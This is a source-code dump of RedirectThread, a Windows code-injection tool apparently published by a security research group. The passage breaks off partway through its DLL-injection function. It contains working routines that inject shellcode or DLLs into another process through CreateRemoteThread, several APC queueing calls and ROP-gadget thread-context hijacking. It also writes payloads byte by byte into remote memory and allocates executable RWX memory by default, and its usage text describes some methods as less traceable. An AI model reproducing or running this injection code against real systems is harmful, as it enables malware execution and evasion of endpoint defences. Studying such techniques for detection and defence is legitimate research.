GlobalSection(ProjectConfigurationPlatforms) = postSolution 17 | {7E363BB8-A131-497E-853B-ED856FC201E0}.Debug|x64.ActiveCfg = Debug|x64 18 | {7E363BB8-A131-497E-853B-ED856FC201E0}.Debug|x64.Build.0 = Debug|x64 19 | {7E363BB8-A131-497E-853B-ED856FC201E0}.Debug|x86.ActiveCfg = Debug|Win32 20 | {7E363BB8-A131-497E-853B-ED856FC201E0}.Debug|x86.Build.0 = Debug|Win32 21 | {7E363BB8-A131-497E-853B-ED856FC201E0}.Release|x64.ActiveCfg = Release|x64 22 | {7E363BB8-A131-497E-853B-ED856FC201E0}.Release|x64.Build.0 = Release|x64 23 | {7E363BB8-A131-497E-853B-ED856FC201E0}.Release|x86.ActiveCfg = Release|Win32 24 | {7E363BB8-A131-497E-853B-ED856FC201E0}.Release|x86.Build.0 = Release|Win32 25 | {8A4B5C6D-7E8F-9012-3456-789ABCDEF012}.Debug|x64.ActiveCfg = Debug|x64 26 | {8A4B5C6D-7E8F-9012-3456-789ABCDEF012}.Debug|x64.Build.0 = Debug|x64 27 | {8A4B5C6D-7E8F-9012-3456-789ABCDEF012}.Debug|x86.ActiveCfg = Debug|x64 28 | {8A4B5C6D-7E8F-9012-3456-789ABCDEF012}.Debug|x86.Build.0 = Debug|x64 29 | {8A4B5C6D-7E8F-9012-3456-789ABCDEF012}.Release|x64.ActiveCfg = Release|x64 30 | {8A4B5C6D-7E8F-9012-3456-789ABCDEF012}.Release|x64.Build.0 = Release|x64 31 | {8A4B5C6D-7E8F-9012-3456-789ABCDEF012}.Release|x86.ActiveCfg = Release|x64 32 | {8A4B5C6D-7E8F-9012-3456-789ABCDEF012}.Release|x86.Build.0 = Release|x64 33 | EndGlobalSection 34 | GlobalSection(SolutionProperties) = preSolution 35 | HideSolutionNode = FALSE 36 | EndGlobalSection 37 | GlobalSection(ExtensibilityGlobals) = postSolution 38 | SolutionGuid = {61987D8D-D5DB-41B8-BF49-AA314E282920} 39 | EndGlobalSection 40 | EndGlobal 41 | -------------------------------------------------------------------------------- /RedirectThread/APCInjection.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Injection.h" 3 | 4 | bool InjectShellcodeUsingAPC( 5 | HANDLE hProcess, 6 | const std::vector &shellcodeBytes, 7 | const InjectionConfig &config); 8 | 9 | bool InjectShellcodeUsingQueueUserAPC2( 10 | HANDLE hProcess, 11 | const std::vector &shellcodeBytes, 12 | const InjectionConfig &config); 13 | 14 | bool InjectShellcodeUsingNtQueueApcThread( 15 | HANDLE hProcess, 16 | const std::vector &shellcodeBytes, 17 | const InjectionConfig &config); 18 | 19 | bool InjectShellcodeUsingNtQueueApcEx( 20 | HANDLE hProcess, 21 | const std::vector &shellcodeBytes, 22 | const InjectionConfig &config); 23 | 24 | bool InjectShellcodeUsingNtQueueApcThreadEx2( 25 | HANDLE hProcess, 26 | const std::vector &shellcodeBytes, 27 | const InjectionConfig &config); 28 | 29 | bool ExecuteRemoteFunctionViaAPCHijack( 30 | HANDLE hProcess, 31 | const InjectionConfig &config, // Pass config for TID, verbose, suspend flag etc. 32 | LPVOID pfnTargetFunction, // The function we ultimately want to call 33 | DWORD64 arg1, // Target function's arg 1 (RCX) 34 | DWORD64 arg2, // Target function's arg 2 (RDX) 35 | DWORD64 arg3, // Target function's arg 3 (R8) 36 | DWORD64 arg4, // Target function's arg 4 (R9) 37 | LPVOID pSleep, // Address of Sleep for hijack primitive 38 | LPVOID loopGadgetAddr // Address of Loop Gadget for hijack primitive 39 | ); 40 | 41 | bool PerformRemoteMemoryCopyViaAPCHijack( 42 | HANDLE hProcess, 43 | const InjectionConfig &config, 44 | LPVOID pRtlMoveMemory, // Address of RtlMoveMemory 45 | LPVOID pRemoteDestBase, // Base address in target to write to 46 | const unsigned char *sourceData, // Local shellcode buffer 47 | size_t dataSize, // Size of shellcode 48 | LPVOID pSleep, // Address of Sleep for hijack primitive 49 | LPVOID loopGadgetAddr // Address of Loop Gadget for hijack primitive 50 | ); 51 | 52 | bool ExecuteRemoteFunctionViaQueueUserAPC2Hijack( 53 | HANDLE hProcess, 54 | const InjectionConfig &config, 55 | LPVOID pfnTargetFunction, 56 | DWORD64 arg1, DWORD64 arg2, DWORD64 arg3, DWORD64 arg4, 57 | LPVOID pSleep, 58 | LPVOID loopGadgetAddr); 59 | 60 | bool PerformRemoteMemoryCopyViaNtQueueApcThread( 61 | HANDLE hProcess, 62 | const InjectionConfig &config, 63 | LPVOID pRtlFillMemory, 64 | LPVOID pRemoteDestBase, 65 | const unsigned char *sourceData, 66 | size_t dataSize, 67 | LPVOID pSleep); 68 | 69 | bool PerformRemoteMemoryCopyViaNtQueueApcExHijack( 70 | HANDLE hProcess, 71 | const InjectionConfig &config, 72 | LPVOID pRtlMoveMemory, 73 | LPVOID pRemoteDestBase, 74 | const unsigned char *sourceData, 75 | size_t dataSize, 76 | LPVOID pSleep, 77 | LPVOID loopGadgetAddr); 78 | 79 | // --- Hijack Primitive using NtQueueApcThreadEx2 --- 80 | bool ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack( 81 | HANDLE hProcess, 82 | const InjectionConfig &config, 83 | LPVOID pfnTargetFunction, 84 | DWORD64 arg1, DWORD64 arg2, DWORD64 arg3, DWORD64 arg4, 85 | LPVOID pSleep, 86 | LPVOID loopGadgetAddr); 87 | 88 | bool GetThreadStateAndWaitReason(DWORD targetTid, KTHREAD_STATE &outState, KWAIT_REASON &outWaitReason, bool verbose); 89 | bool IsThreadSleeping(DWORD targetTid, bool verbose); 90 | bool WaitForThreadToSleep(DWORD targetTid, int timeoutMs, bool verbose); 91 | bool WaitForThreadToRunOrReady(DWORD targetTid, int timeoutMs, bool verbose); 92 | -------------------------------------------------------------------------------- /RedirectThread/Arguments.cpp: -------------------------------------------------------------------------------- 1 | #include "Arguments.h" 2 | #include 3 | #include 4 | #include // For std::exception in ParseArguments 5 | #include // For std::hex/std::dec in PrintConfiguration 6 | 7 | // Implementation of ParseArguments (moved from main.cpp) 8 | bool ParseArguments(int argc, char *argv[], InjectionConfig &config) 9 | { 10 | bool pidProvided = false; 11 | bool modeProvided = false; 12 | 13 | for (int i = 1; i < argc; ++i) 14 | { 15 | std::string arg = argv[i]; 16 | 17 | if (arg == "--pid") 18 | { 19 | if (++i < argc) 20 | { 21 | try 22 | { 23 | config.targetPid = std::stoul(argv[i]); 24 | pidProvided = true; 25 | } 26 | catch (const std::exception &e) 27 | { 28 | std::cerr << "[!] Invalid or out-of-range PID: " << argv[i] << " (" << e.what() << ")" << std::endl; 29 | return false; 30 | } 31 | } 32 | else 33 | { 34 | std::cerr << "[!] Missing value for --pid" << std::endl; 35 | return false; 36 | } 37 | } 38 | else if (arg == "--inject-dll") 39 | { 40 | if (modeProvided) 41 | { 42 | std::cerr << "[!] Cannot specify more than one injection mode." << std::endl; 43 | return false; 44 | } 45 | config.mode = InjectionMode::DLL_POINTER; 46 | modeProvided = true; 47 | } 48 | else if (arg == "--inject-shellcode") 49 | { 50 | if (modeProvided) 51 | { 52 | std::cerr << "[!] Cannot specify more than one injection mode." << std::endl; 53 | return false; 54 | } 55 | if (++i < argc) 56 | { 57 | config.mode = InjectionMode::SHELLCODE; 58 | config.shellcodeFilePath = argv[i]; 59 | modeProvided = true; 60 | } 61 | else 62 | { 63 | std::cerr << "[!] Missing value for --inject-shellcode" << std::endl; 64 | return false; 65 | } 66 | } 67 | else if (arg == "--inject-shellcode-bytes") 68 | { 69 | if (modeProvided) 70 | { 71 | std::cerr << "[!] Cannot specify more than one injection mode." << std::endl; 72 | return false; 73 | } 74 | if (++i < argc) 75 | { 76 | config.mode = InjectionMode::SHELLCODE; 77 | // Parse hex string into bytes 78 | config.shellcodeBytes.clear(); 79 | std::string hexstr = argv[i]; 80 | size_t len = hexstr.length(); 81 | if (len % 2 != 0) 82 | { 83 | std::cerr << "[!] Shellcode bytes string must have even length (2 hex chars per byte)." << std::endl; 84 | return false; 85 | } 86 | for (size_t j = 0; j < len; j += 2) 87 | { 88 | std::string byteString = hexstr.substr(j, 2); 89 | try 90 | { 91 | unsigned char byte = static_cast(std::stoul(byteString, nullptr, 16)); 92 | config.shellcodeBytes.push_back(byte); 93 | } 94 | catch (const std::exception &e) 95 | { 96 | std::cerr << "[!] Invalid hex byte in --inject-shellcode-bytes: " << byteString << " (" << e.what() << ")" << std::endl; 97 | return false; 98 | } 99 | } 100 | modeProvided = true; 101 | } 102 | else 103 | { 104 | std::cerr << "[!] Missing value for --inject-shellcode-bytes" << std::endl; 105 | return false; 106 | } 107 | } 108 | else if (arg == "--method") 109 | { 110 | if (++i < argc) 111 | { 112 | std::string method = argv[i]; 113 | if (method == "CreateRemoteThread") 114 | config.method = DeliveryMethod::CREATETHREAD; 115 | else if (method == "NtCreateThread") 116 | config.method = DeliveryMethod::NTCREATETHREAD; 117 | else if (method == "QueueUserAPC") 118 | config.method = DeliveryMethod::QUEUEUSERAPC; 119 | else if (method == "QueueUserAPC2") 120 | config.method = DeliveryMethod::QUEUEUSERAPC2; 121 | else if (method == "NtQueueApcThread") 122 | config.method = DeliveryMethod::NTQUEUEAPCTHREAD; 123 | else if (method == "NtQueueApcThreadEx") 124 | config.method = DeliveryMethod::NTQUEUEAPCTHREADEX; 125 | else if (method == "NtQueueApcThreadEx2") 126 | config.method = DeliveryMethod::NTQUEUEAPCTHREADEX2; 127 | else 128 | { 129 | std::cerr << "[!] Unknown delivery method: " << method << std::endl; 130 | return false; 131 | } 132 | } 133 | else 134 | { 135 | std::cerr << "[!] Missing value for --method" << std::endl; 136 | return false; 137 | } 138 | } 139 | else if (arg == "--context-method") 140 | { 141 | if (++i < argc) 142 | { 143 | std::string method = argv[i]; 144 | if (method == "rop-gadget") 145 | config.contextMethod = ContextMethod::ROP_GADGET; 146 | else if (method == "two-step") 147 | config.contextMethod = ContextMethod::TWO_STEP; 148 | else 149 | { 150 | std::cerr << "[!] Unknown context method: " << method << std::endl; 151 | return false; 152 | } 153 | } 154 | else 155 | { 156 | std::cerr << "[!] Missing value for --context-method" << std::endl; 157 | return false; 158 | } 159 | } 160 | else if (arg == "--tid") 161 | { 162 | if (++i < argc) 163 | { 164 | try 165 | { 166 | config.targetTid = std::stoul(argv[i]); 167 | } 168 | catch (const std::exception &e) 169 | { 170 | std::cerr << "[!] Invalid or out-of-range TID: " << argv[i] << " (" << e.what() << ")" << std::endl; 171 | return false; 172 | } 173 | } 174 | else 175 | { 176 | std::cerr << "[!] Missing value for --tid" << std::endl; 177 | return false; 178 | } 179 | } 180 | else if (arg == "--alloc-size") 181 | { 182 | if (++i < argc) 183 | { 184 | try 185 | { 186 | config.allocSize = std::stoull(argv[i]); 187 | } 188 | catch (const std::exception &e) 189 | { 190 | std::cerr << "[!] Invalid or out-of-range value for --alloc-size: " << argv[i] << " (" << e.what() << ")" << std::endl; 191 | return false; 192 | } 193 | } 194 | else 195 | { 196 | std::cerr << "[!] Missing value for --alloc-size" << std::endl; 197 | return false; 198 | } 199 | } 200 | else if (arg == "--alloc-perm") 201 | { 202 | if (++i < argc) 203 | { 204 | try 205 | { 206 | config.allocPerm = std::stoul(argv[i], nullptr, 16); 207 | } 208 | catch (const std::exception &e) 209 | { 210 | std::cerr << "[!] Invalid or out-of-range hex value for --alloc-perm: " << argv[i] << " (" << e.what() << ")" << std::endl; 211 | return false; 212 | } 213 | } 214 | else 215 | { 216 | std::cerr << "[!] Missing value for --alloc-perm" << std::endl; 217 | return false; 218 | } 219 | } 220 | else if (arg == "--alloc-address") 221 | { 222 | if (++i < argc) 223 | { 224 | try 225 | { 226 | config.allocAddress = std::stoul(argv[i], nullptr, 16); 227 | } 228 | catch (const std::exception &e) 229 | { 230 | std::cerr << "[!] Invalid or out-of-range hex value for --alloc-address: " << argv[i] << " (" << e.what() << ")" << std::endl; 231 | return false; 232 | } 233 | } 234 | else 235 | { 236 | std::cerr << "[!] Missing value for --alloc-address" << std::endl; 237 | return false; 238 | } 239 | } 240 | else if (arg == "--use-suspend") 241 | { 242 | config.useSuspend = true; 243 | } 244 | else if (arg == "--verbose") 245 | { 246 | config.verbose = true; 247 | } 248 | else if (arg == "--enter-debug") 249 | { 250 | config.enterDebug = true; 251 | } 252 | else 253 | { 254 | std::cerr << "[!] Unknown argument: " << arg << std::endl; 255 | return false; 256 | } 257 | } 258 | 259 | if (!pidProvided) 260 | { 261 | std::cerr << "[!] Error: Target PID must be provided using --pid ." << std::endl; 262 | return false; 263 | } 264 | 265 | if (!modeProvided) 266 | { 267 | std::cerr << "[!] Error: Injection mode must be specified using --inject-dll or --inject-shellcode." << std::endl; 268 | return false; 269 | } 270 | 271 | // Basic validation for APC methods requiring TID 272 | bool isApcMethod = (config.method == DeliveryMethod::QUEUEUSERAPC || 273 | config.method == DeliveryMethod::QUEUEUSERAPC2 || 274 | config.method == DeliveryMethod::NTQUEUEAPCTHREAD || 275 | config.method == DeliveryMethod::NTQUEUEAPCTHREADEX || 276 | config.method == DeliveryMethod::NTQUEUEAPCTHREADEX2); 277 | if (isApcMethod && config.targetTid == 0) 278 | { 279 | std::cerr << "[!] Error: Target TID (--tid) must be provided for APC-based delivery methods." << std::endl; 280 | return false; 281 | } 282 | 283 | return true; 284 | } 285 | 286 | // Implementation of print_usage (moved from Utils.cpp) 287 | void print_usage(const char *progName) 288 | { 289 | 290 | // Print banner 291 | std::cout << "\n\n RedirectThread - Context Injection Tool\n\n"; 292 | std::cout << " Auhtors: Friends & Security (https://blog.fndsec.net)\n\n"; 293 | 294 | std::cout << "Usage: " << progName << " [options]\n" 295 | 296 | << "\nRequired Options:\n" 297 | << " --pid Target process ID to inject into\n" 298 | << " --inject-dll Perform DLL injection (hardcoded to \"0.dll\")\n" 299 | << " --inject-shellcode Perform shellcode injection from file\n" 300 | << " --inject-shellcode-bytes Perform shellcode injection from hex string (e.g. 9090c3)\n" 301 | 302 | << "\nDelivery Method Options:\n" 303 | << " --method Specify code execution method\n" 304 | << " CreateRemoteThread Default, creates a remote thread\n" 305 | << " NtCreateThread Uses NtCreateThread (less traceable)\n" 306 | << " QueueUserAPC Uses QueueUserAPC (requires --tid)\n" 307 | << " QueueUserAPC2 Uses QueueUserAPC2 (requires --tid)\n" 308 | << " NtQueueApcThread Uses NtQueueApcThread (requires --tid)\n" 309 | << " NtQueueApcThreadEx Uses NtQueueApcThreadEx (requires --tid)\n" 310 | << " NtQueueApcThreadEx2 Uses NtQueueApcThreadEx2 (requires --tid)\n" 311 | 312 | << "\nContext Method Options:\n" 313 | << " --context-method Specify context manipulation method\n" 314 | << " rop-gadget Default, uses ROP gadget technique\n" 315 | << " two-step Uses a two-step thread hijacking approach\n" 316 | 317 | << "\nAdditional Options:\n" 318 | << " --tid Target thread ID (required for APC methods)\n" 319 | << " --alloc-size Memory allocation size in bytes (default: 4096)\n" 320 | << " --alloc-perm Memory protection flags in hex (default: 0x40)\n" 321 | << " --alloc-address Specify base address for allocation (hex, optional)\n" 322 | << " --use-suspend Use thread suspension for increased reliability\n" 323 | << " --verbose Enable verbose output\n" 324 | << " --enter-debug Pause execution at key points for debugger attachment\n" 325 | 326 | << "\nExample:\n" 327 | << " " << progName << " --pid 1234 --inject-dll mydll.dll\n" 328 | << " " << progName << " --pid 1234 --inject-shellcode payload.bin --verbose\n" 329 | << " " << progName << " --pid 1234 --inject-shellcode payload.bin --method NtCreateThread\n" 330 | << " " << progName << " --pid 1234 --inject-shellcode-bytes 9090c3 --method QueueUserAPC --tid 5678\n" 331 | << " " << progName << " --pid 1234 --inject-shellcode-bytes $bytes --context-method two-step --method NtQueueUserApcThreadEx2 --tid 5678\n" 332 | 333 | << std::endl; 334 | } 335 | 336 | // Implementation of PrintConfiguration (based on logic from main.cpp) 337 | void PrintConfiguration(const InjectionConfig &config) 338 | { 339 | // Print banner 340 | std::cout << "\n\n RedirectThread - Context Injection Tool\n\n"; 341 | std::cout << " Auhtors: Friends & Security (https://blog.fndsec.net)\n\n"; 342 | 343 | std::cout << "[*] Target PID: " << config.targetPid << "\n"; 344 | std::cout << "[*] Injection Mode: "; 345 | switch (config.mode) 346 | { 347 | case InjectionMode::DLL_POINTER: 348 | std::cout << "DLL Pointer (hardcoded \"0.dll\")\n"; 349 | break; 350 | case InjectionMode::SHELLCODE: 351 | if (!config.shellcodeFilePath.empty()) 352 | std::cout << "Shellcode (" << config.shellcodeFilePath << ")\n"; 353 | else if (!config.shellcodeBytes.empty()) 354 | std::cout << "Shellcode (provided as hex bytes, " << config.shellcodeBytes.size() << " bytes)\n"; 355 | else 356 | std::cout << "Shellcode (no source specified)\n"; 357 | break; 358 | 359 | default: 360 | std::cout << "Unknown\n"; 361 | break; 362 | } 363 | 364 | std::cout << "[*] Delivery Method: "; 365 | switch (config.method) 366 | { 367 | case DeliveryMethod::CREATETHREAD: 368 | std::cout << "CreateRemoteThread\n"; 369 | break; 370 | case DeliveryMethod::NTCREATETHREAD: 371 | std::cout << "NtCreateThread\n"; 372 | break; 373 | case DeliveryMethod::QUEUEUSERAPC: 374 | std::cout << "QueueUserAPC\n"; 375 | break; 376 | case DeliveryMethod::QUEUEUSERAPC2: 377 | std::cout << "QueueUserAPC2\n"; 378 | break; 379 | case DeliveryMethod::NTQUEUEAPCTHREAD: 380 | std::cout << "NtQueueApcThread\n"; 381 | break; 382 | case DeliveryMethod::NTQUEUEAPCTHREADEX: 383 | std::cout << "NtQueueApcThreadEx\n"; 384 | break; 385 | case DeliveryMethod::NTQUEUEAPCTHREADEX2: 386 | std::cout << "NtQueueApcThreadEx2\n"; 387 | break; 388 | default: 389 | std::cout << "Unknown\n"; 390 | break; // Should not happen if ParseArguments is correct 391 | } 392 | 393 | if (config.mode != InjectionMode::DLL_POINTER) 394 | { 395 | std::cout << "[*] Context Method: "; 396 | switch (config.contextMethod) 397 | { 398 | case ContextMethod::ROP_GADGET: 399 | std::cout << "ROP Gadget\n"; 400 | break; 401 | case ContextMethod::TWO_STEP: 402 | std::cout << "Two-Step\n"; 403 | break; 404 | default: 405 | std::cout << "Unknown\n"; 406 | break; 407 | } 408 | } 409 | 410 | bool isApcMethod = (config.method == DeliveryMethod::QUEUEUSERAPC || 411 | config.method == DeliveryMethod::QUEUEUSERAPC2 || 412 | config.method == DeliveryMethod::NTQUEUEAPCTHREAD || 413 | config.method == DeliveryMethod::NTQUEUEAPCTHREADEX || 414 | config.method == DeliveryMethod::NTQUEUEAPCTHREADEX2); 415 | 416 | if (isApcMethod && config.targetTid != 0) 417 | { 418 | std::cout << "[*] Target TID: " << config.targetTid << "\n"; 419 | } 420 | else if (config.targetTid != 0) 421 | { 422 | std::cout << "[*] Target TID (specified but not required for method): " << config.targetTid << "\n"; 423 | } 424 | 425 | if (config.mode != InjectionMode::DLL_POINTER) 426 | { 427 | std::cout << "[*] Allocation Size: " << config.allocSize << " bytes (0x" << std::hex << config.allocSize << std::dec << ")\n"; 428 | std::cout << "[*] Allocation Permissions: 0x" << std::hex << config.allocPerm << std::dec << "\n"; 429 | std::cout << "[*] Allocation Address: 0x" << std::hex << config.allocAddress << std::dec << "\n"; 430 | std::cout << "[*] Use Suspend/Resume: " << (config.useSuspend ? "Yes" : "No") << "\n"; 431 | } 432 | std::cout << "[*] Verbose Output: " << (config.verbose ? "Yes" : "No") << "\n"; 433 | std::cout << "[*] Enter Debug: " << (config.enterDebug ? "Yes" : "No") << "\n" 434 | << std::endl; 435 | } 436 | -------------------------------------------------------------------------------- /RedirectThread/Arguments.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include // For print_usage declaration 7 | 8 | // --- Configuration Enums --- 9 | enum class InjectionMode 10 | { 11 | NONE, 12 | DLL_POINTER, 13 | SHELLCODE 14 | }; 15 | 16 | enum class DeliveryMethod 17 | { 18 | NONE, // Can be used for playing around with specific threads (should force a --tid arg) 19 | NTCREATETHREAD, 20 | CREATETHREAD, 21 | QUEUEUSERAPC, 22 | QUEUEUSERAPC2, 23 | NTQUEUEAPCTHREAD, 24 | NTQUEUEAPCTHREADEX, 25 | NTQUEUEAPCTHREADEX2 26 | }; 27 | 28 | enum class ContextMethod 29 | { 30 | ROP_GADGET, 31 | TWO_STEP 32 | }; 33 | 34 | // --- Configuration Structure --- 35 | struct InjectionConfig 36 | { 37 | DWORD targetPid = 0; 38 | InjectionMode mode = InjectionMode::NONE; 39 | DeliveryMethod method = DeliveryMethod::CREATETHREAD; 40 | ContextMethod contextMethod = ContextMethod::ROP_GADGET; 41 | bool enterDebug = false; 42 | 43 | // Payload specific 44 | // std::string dllBasename; 45 | std::string shellcodeFilePath; 46 | std::vector shellcodeBytes; // Keep here as it's part of config, though loaded elsewhere 47 | 48 | // Optional / Method specific 49 | DWORD targetTid = 0; 50 | SIZE_T allocSize = 4096; 51 | DWORD allocPerm = PAGE_EXECUTE_READWRITE; 52 | DWORD allocAddress = 0x60000; 53 | bool useSuspend = false; 54 | bool verbose = false; 55 | }; 56 | 57 | // --- Function Declarations --- 58 | 59 | // Parses command line arguments and populates the InjectionConfig struct. 60 | // Returns true on success, false on failure (e.g., invalid arguments). 61 | bool ParseArguments(int argc, char *argv[], InjectionConfig &config); 62 | 63 | // Prints the command line usage instructions. 64 | void print_usage(const char *progName); 65 | 66 | // Prints the effective configuration settings derived from arguments. 67 | void PrintConfiguration(const InjectionConfig &config); 68 | -------------------------------------------------------------------------------- /RedirectThread/CreateRemoteThreadUtil h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Injection.h" 3 | 4 | bool CreateRemoteThreadViaGadget(HANDLE processHandle, const GadgetInfo &ropGadget, 5 | DWORD64 arg1, DWORD64 arg2, DWORD64 arg3, DWORD64 arg4, 6 | DWORD64 functionAddress, DWORD64 exitThreadAddr); 7 | bool PerformRemoteMemoryCopy(HANDLE processHandle, const GadgetInfo &ropGadget, 8 | LPVOID memCopyAddress, 9 | DWORD64 destinationAddress, const unsigned char *sourceData, size_t dataSize, 10 | DWORD64 exitThreadAddr); -------------------------------------------------------------------------------- /RedirectThread/CreateRemoteThreadUtil.cpp: -------------------------------------------------------------------------------- 1 | #include "CreateRemoteThreadUtil h" 2 | 3 | bool CreateRemoteThreadViaGadget(HANDLE processHandle, const GadgetInfo &ropGadget, 4 | DWORD64 arg1, DWORD64 arg2, DWORD64 arg3, DWORD64 arg4, 5 | DWORD64 functionAddress, DWORD64 exitThreadAddr) 6 | { 7 | 8 | if (!processHandle || ropGadget.address == nullptr || 9 | ropGadget.regId1 == -1 || ropGadget.regId2 == -1 || exitThreadAddr == 0) 10 | { 11 | SetLastError(ERROR_INVALID_PARAMETER); 12 | return false; 13 | } 14 | 15 | HANDLE hThread = CreateRemoteThread(processHandle, nullptr, 0, 16 | reinterpret_cast(ropGadget.address), 17 | nullptr, CREATE_SUSPENDED, nullptr); 18 | if (!hThread) 19 | { 20 | return false; 21 | } 22 | 23 | CONTEXT threadContext; 24 | threadContext.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER; 25 | 26 | if (!GetThreadContext(hThread, &threadContext)) 27 | { 28 | TerminateThread(hThread, EXIT_FAILURE); 29 | CloseHandle(hThread); 30 | return false; 31 | } 32 | 33 | threadContext.Rip = reinterpret_cast(ropGadget.address); 34 | 35 | // PUSH reg1; PUSH reg2; RET 36 | // We need RET to jump to functionAddress. 37 | // We need functionAddress to return to exitThreadAddr. 38 | // So, reg1 must hold exitThreadAddr, reg2 must hold functionAddress before the PUSHes. 39 | if (!SetRegisterContextValue(threadContext, ropGadget.regId1, exitThreadAddr)) 40 | { 41 | SetLastError(ERROR_INVALID_PARAMETER); 42 | TerminateThread(hThread, EXIT_FAILURE); 43 | CloseHandle(hThread); 44 | return false; 45 | } 46 | if (!SetRegisterContextValue(threadContext, ropGadget.regId2, functionAddress)) 47 | { 48 | SetLastError(ERROR_INVALID_PARAMETER); 49 | TerminateThread(hThread, EXIT_FAILURE); 50 | CloseHandle(hThread); 51 | return false; 52 | } 53 | 54 | threadContext.Rcx = arg1; 55 | threadContext.Rdx = arg2; 56 | threadContext.R8 = arg3; 57 | threadContext.R9 = arg4; 58 | 59 | threadContext.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER; 60 | if (!SetThreadContext(hThread, &threadContext)) 61 | { 62 | TerminateThread(hThread, EXIT_FAILURE); 63 | CloseHandle(hThread); 64 | return false; 65 | } 66 | 67 | if (ResumeThread(hThread) == (DWORD)-1) 68 | { 69 | TerminateThread(hThread, EXIT_FAILURE); 70 | CloseHandle(hThread); 71 | return false; 72 | } 73 | 74 | WaitForSingleObject(hThread, INFINITE); 75 | CloseHandle(hThread); 76 | return true; 77 | } 78 | 79 | bool PerformRemoteMemoryCopy(HANDLE processHandle, const GadgetInfo &ropGadget, 80 | LPVOID pRtlFillMemoryFunc, // Expecting RtlFillMemory address here 81 | DWORD64 destinationAddress, const unsigned char *sourceData, size_t dataSize, 82 | DWORD64 exitThreadAddr) 83 | { 84 | 85 | if (exitThreadAddr == 0) 86 | { 87 | SetLastError(ERROR_INVALID_FUNCTION); 88 | return false; 89 | } 90 | if (pRtlFillMemoryFunc == nullptr) 91 | { 92 | SetLastError(ERROR_INVALID_PARAMETER); 93 | return false; 94 | } 95 | 96 | for (size_t i = 0; i < dataSize; ++i) 97 | { 98 | BYTE fillByte = sourceData[i]; 99 | 100 | // Use the gadget to call RtlFillMemory(destinationAddress + i, 1, fillByte) 101 | // Arguments for RtlFillMemory: PVOID Destination, SIZE_T Length, BYTE Fill 102 | // Mapped to ROP call: RCX, RDX, R8 103 | bool success = CreateRemoteThreadViaGadget( 104 | processHandle, 105 | ropGadget, 106 | destinationAddress + i, // RCX: Destination 107 | 1, // RDX: Length 108 | static_cast(fillByte), // R8: Fill byte 109 | 0, // R9: Unused 110 | reinterpret_cast(pRtlFillMemoryFunc), // Function to call (RtlFillMemory) 111 | exitThreadAddr); 112 | 113 | if (!success) 114 | { 115 | // If a single byte fill fails, we should probably abort and return false. 116 | std::cerr << "[!] PerformRemoteMemoryCopy (using RtlFillMemory): Failed to write byte " 117 | << i << " (value 0x" << std::hex << static_cast(fillByte) << std::dec << ")" 118 | << " to address 0x" << std::hex << (destinationAddress + i) << std::dec 119 | << ". Error: " << GetLastError() << std::endl; 120 | return false; 121 | } 122 | } 123 | return true; // Returns true if all bytes are successfully written. 124 | } 125 | -------------------------------------------------------------------------------- /RedirectThread/DLLInjection.cpp: -------------------------------------------------------------------------------- 1 | #include "DLLInjection.h" 2 | 3 | bool InjectDllPointerOnly(const InjectionConfig &config) 4 | { 5 | 6 | std::cout << "[+] Entered DLL Injection using Pointer"; 7 | 8 | // Open process with minimal permissions needed (just thread creation) 9 | HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD, FALSE, config.targetPid); 10 | if (!hProcess) 11 | { 12 | std::cerr << "[!] Failed to open target process. Error: " << GetLastError() << std::endl; 13 | return false; 14 | } 15 | 16 | // Get local LoadLibraryA address 17 | HMODULE hKernel32 = GetModuleHandleA("kernel32.dll"); 18 | LPVOID pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA"); 19 | if (!pLoadLibraryA) 20 | { 21 | std::cerr << "[!] Failed to get LoadLibraryA address. Error: " << GetLastError() << std::endl; 22 | CloseHandle(hProcess); 23 | return false; 24 | } 25 | 26 | // Find 0 in our own ntdll memory 27 | HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); 28 | if (!hNtdll) 29 | { 30 | std::cerr << "[!] Failed to get ntdll.dll handle. Error: " << GetLastError() << std::endl; 31 | CloseHandle(hProcess); 32 | return false; 33 | } 34 | 35 | // Find 0 in ntdll memory 36 | MEMORY_BASIC_INFORMATION mbi; 37 | LPVOID pZero = nullptr; 38 | for (LPVOID addr = hNtdll; 39 | VirtualQuery(addr, &mbi, sizeof(mbi)) == sizeof(mbi); 40 | addr = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize)) 41 | { 42 | if (mbi.State == MEM_COMMIT && (mbi.Protect & PAGE_READONLY)) 43 | { 44 | if (mbi.RegionSize < 2) 45 | { 46 | continue; 47 | } 48 | 49 | std::vector buffer(mbi.RegionSize); 50 | memcpy(buffer.data(), mbi.BaseAddress, mbi.RegionSize); 51 | 52 | for (size_t i = 0; i < mbi.RegionSize - 1; i++) 53 | { 54 | if (buffer[i] == '0' && buffer[i + 1] == 0) 55 | { 56 | pZero = (LPVOID)((DWORD_PTR)mbi.BaseAddress + i); 57 | break; 58 | } 59 | } 60 | if (pZero) 61 | { 62 | break; 63 | } 64 | } 65 | 66 | if ((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize < (DWORD_PTR)mbi.BaseAddress) 67 | { 68 | break; 69 | } 70 | } 71 | 72 | if (!pZero) 73 | { 74 | std::cerr << "[!] Failed to find 0 in ntdll.dll memory." << std::endl; 75 | CloseHandle(hProcess); 76 | return false; 77 | } 78 | 79 | // --- DEBUG PAUSE --- 80 | if (config.enterDebug) 81 | { 82 | std::cout << "\n [DEBUG] InjectDllPointerOnly:" << std::endl; 83 | std::cout << " Target PID: " << config.targetPid << std::endl; 84 | std::cout << " LoadLibraryA Address (pLoadLibraryA): 0x" << std::hex << pLoadLibraryA << std::dec << std::endl; 85 | std::cout << " Zero Byte Address (pZero): 0x" << std::hex << pZero << std::dec << std::endl; 86 | std::cout << " [ACTION] Press ENTER to attempt CreateRemoteThread(LoadLibraryA, pZero)..." << std::endl; 87 | std::cin.get(); 88 | } 89 | // --- END DEBUG PAUSE --- 90 | 91 | // Create remote thread with LoadLibraryA and 0 as parameter 92 | HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryA, pZero, 0, NULL); 93 | if (!hThread) 94 | 